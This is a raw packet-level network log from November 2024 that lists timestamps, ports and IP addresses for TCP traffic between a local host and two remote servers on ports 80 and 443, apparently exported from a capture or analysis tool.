Nov 17, 2024 03:42:16.866827011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.866861105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.866894007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.866915941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.866915941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.866928101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.866950035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.866950035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.866964102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.866977930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867012978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867254972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.867285967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.867352009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.867366076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867366076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867386103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.867410898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867420912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.867434025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867471933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867489100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.867538929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867542028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.867578983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.867595911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867611885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.867635965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867645025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.867664099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867692947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.867964029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.868015051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.868048906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.868055105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.868083000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.868098021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.868119955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.868136883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.868155956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.868172884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.868208885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.902292967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.902350903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.902386904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.902406931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.902420998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.902439117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.902462006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.902487993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.902493000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.902524948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.902548075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936414003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936486959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936496019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936526060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936546087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936562061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936583996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936597109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936626911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936630011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936656952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936661959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936695099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936700106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936722040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936734915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936743021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936788082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936789036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936820984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936842918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936867952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936907053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936959028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.936959982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.936996937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937010050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937028885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937063932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937088013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937097073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937107086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937145948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937376976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937411070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937433958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937446117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937469959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937484026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937490940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937537909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937634945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937684059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937688112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937724113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937735081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937760115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.937772036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.937809944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.938013077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.938046932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.938066006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.938081980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.938102961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.938129902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.977958918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.977992058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.978020906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.978091955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.985701084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.985754967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.985760927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.985790014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.985812902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.985824108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.985837936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.985872030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.985899925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.985948086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.985950947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.985997915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986002922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986036062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986051083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986069918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986089945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986104012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986115932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986138105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986150980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986172915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986186981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986207962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986221075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986243010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986267090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986303091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986783981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986818075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986840010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986852884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986876965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986881971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.986897945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.986929893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.987023115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.987072945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.987075090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.987107992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.987123966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.987140894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.987163067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.987179041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.987200975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.987220049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.020953894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.021018028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.021025896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.021059990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.021076918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.021095991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.021107912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.021131992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.021143913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.021179914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055098057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055167913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055191040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055222034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055238008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055258989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055274010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055295944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055309057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055345058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055350065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055386066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055402040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055419922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055433989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055460930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055466890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055510044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055655003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055685043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055711985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055731058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055771112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055804968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055824041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055838108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055844069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055886030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.055963039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.055998087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056015968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056042910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056049109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056082010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056097984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056117058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056129932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056150913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056168079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056186914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056199074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056217909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056237936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056263924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056605101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056638002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056657076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056673050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056689978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056710958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:17.056724072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:17.056761026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:18.769889116 CET	49707	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.769938946 CET	443	49707	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:18.770025015 CET	49707	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.770118952 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.770170927 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:18.770231962 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.770251989 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.770267963 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:18.770320892 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.770438910 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.770450115 CET	443	49710	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:18.770524979 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.771099091 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.771107912 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.771114111 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:18.771142006 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:18.771629095 CET	49707	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.771647930 CET	443	49707	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:18.772718906 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:18.772746086 CET	443	49710	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.095237970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:19.095309973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:19.633707047 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.633905888 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.633953094 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.635880947 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.635961056 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.636708975 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.636806965 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.636852980 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.638654947 CET	443	49707	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.638655901 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.638851881 CET	49707	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.638860941 CET	443	49707	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.638991117 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.639039040 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.639781952 CET	443	49710	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.639954090 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.639972925 CET	443	49710	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.640503883 CET	443	49707	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.640575886 CET	49707	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.640701056 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.640779972 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.641309977 CET	49707	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.641393900 CET	443	49707	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.641473055 CET	49707	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.641480923 CET	443	49707	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.641494989 CET	443	49710	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.641560078 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.641829967 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.641829967 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.641904116 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.641931057 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.641933918 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.641980886 CET	443	49710	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.679363966 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.685142994 CET	49707	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.685157061 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.685158014 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.685158968 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.685174942 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.685179949 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.685209036 CET	443	49710	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.732022047 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.732043982 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.732242107 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.910953999 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.911062002 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.911132097 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.911241055 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.911278963 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.912451982 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.912611008 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.912781000 CET	443	49707	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.912950039 CET	443	49709	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.913047075 CET	49709	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.921744108 CET	49707	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.921758890 CET	443	49707	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.921821117 CET	49707	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.924222946 CET	443	49710	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.928352118 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.928487062 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.928554058 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.928579092 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.928607941 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.928666115 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.928713083 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.928847075 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.928988934 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.929018021 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.936197042 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.936745882 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.936763048 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.981808901 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.981842041 CET	443	49710	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.981887102 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.981897116 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.986078024 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:19.986166954 CET	443	49710	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:19.986248016 CET	49710	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.028620005 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.046811104 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.046998978 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.047122955 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.047182083 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.047200918 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.047230005 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.047256947 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.051589012 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.051656008 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.051690102 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.060173988 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.060729980 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.060740948 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.107800007 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.107834101 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.154642105 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.165385962 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.165458918 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.165509939 CET	443	49708	172.217.18.100	192.168.2.5
